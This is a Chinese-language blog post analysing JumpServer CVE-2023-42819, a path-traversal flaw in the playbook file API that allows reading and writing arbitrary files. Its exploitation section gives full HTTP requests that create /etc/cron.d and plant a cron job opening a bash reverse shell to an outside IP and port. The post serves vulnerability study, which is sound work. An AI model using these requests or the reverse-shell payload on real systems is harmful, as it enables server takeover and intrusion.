JumpServer CVE-2023-42819 任意文件写入漏洞分析

前言:JumpServer CVE-2023-42819 任意文件写入漏洞分析,这边通过重置密码漏洞配合任意文件写入漏洞的攻击链路可实现获取JumpServer堡垒机服务器权限的话,如果有JumpServer堡垒机服务器权限的话能够获取额外的数据库配置以及绕过对于网络策略的都有帮助,所以这边分析学习下

参考文章:https://paper.seebug.org/3043/
参考文章:https://t.zsxq.com/122oWQ0a2
参考文章:https://www.cnblogs.com/zpchcbd/p/17750386.html
参考文章:https://www.cnblogs.com/zpchcbd/p/17747778.html

PlaybookFileBrowserAPIView

PlaybookFileBrowserAPIView路由位于apps/ops/urls/api_urls.py中,如下图所示

这里先看apps.ops.api.playbook.PlaybookFileBrowserAPIView.get方法,如下图所示,可以看到这里在获取用户输入file_key后直接使用os.path.join(work_path, file_key)来拼接路径并读取文件。

而之前phith0n师傅讲过一个关于os.path.join代码的特性,如果file_key路径参数可控的话那么指定../../../../../etc/passwd/etc/passwd都可以进行目录穿越并读取任意文件。

这边在工作台-作业中心-模版管理-Playbook管理中创建一个playbook对象,如下图所示

获取该playbook对象的uuid,进行访问即可进行读取/etc/passwd文件

在该视图的POST方法中存在写入文件的操作

对于容器搭建的来说,这边看到了phith0n师傅文章中是可以直接写入cron.d目录中进行计划任务启动,下面是通过phith0n师傅的容器搭建的,发现是存在cron服务

但是我这边用官方的docker搭建的jumpserver 3.5.3是不行的,原因是官方的core容器中是不存在cron服务的,所以定时任务是无法使用的

这边如果一个目录是不存在的话,是可以通过post请求来进行创建目录的,如下图所示可以看到该环境默认是没有cron.d目录的

这边可以通过is_directory参数来指定进行创建文件夹

is_directory参数和指定name参数为要创建的文件夹名称

结果如下图所示,可以看到成功创建一个对应的文件夹

利用过程

目前理解可以利用的就是一体式的docker容器搭建情况,或者是非docker容器搭建的情况

没有cron.d目录的话可以先创建文件夹cron.d

POST http://139.196.127.88/api/v1/ops/playbook/f480fb48-ed49-42ab-93d8-113e814dfc89/file/ HTTP/1.1
Host: 139.196.127.88
Content-Length: 88
Accept: application/json, text/plain, */*
X-TZ: Asia/Shanghai
X-CSRFToken:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
X-JMS-ORG: 
Content-Type: application/json;charset=UTF-8
Origin: http://139.196.127.88
Referer: http://139.196.127.88/ui/
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Cookie: 
Connection: close

{"key":"/tmp/aaa",
"is_directory":true,
"name": "/etc/cron.d","content":"aaaaaaaaaaa"}

接着继续写入文件到cron.d/test中

PATCH http://139.196.127.88/api/v1/ops/playbook/f480fb48-ed49-42ab-93d8-113e814dfc89/file/ HTTP/1.1
Host: 139.196.127.88
Content-Length: 118
Accept: application/json, text/plain, */*
X-TZ: Asia/Shanghai
X-CSRFToken: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
X-JMS-ORG:
Content-Type: application/json;charset=UTF-8
Origin: http://139.196.127.88
Referer: http://139.196.127.88/ui/
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Cookie: 
Connection: close

{"key":"/etc/cron.d/test","content":"* * * * * root bash -c \"bash -i >& /dev/tcp/43.143.107.163/3443 0>&1\"\r\n\r\n"}

posted @ 2023-10-08 22:45  zpchcbd  阅读(1135)  评论(0)    收藏  举报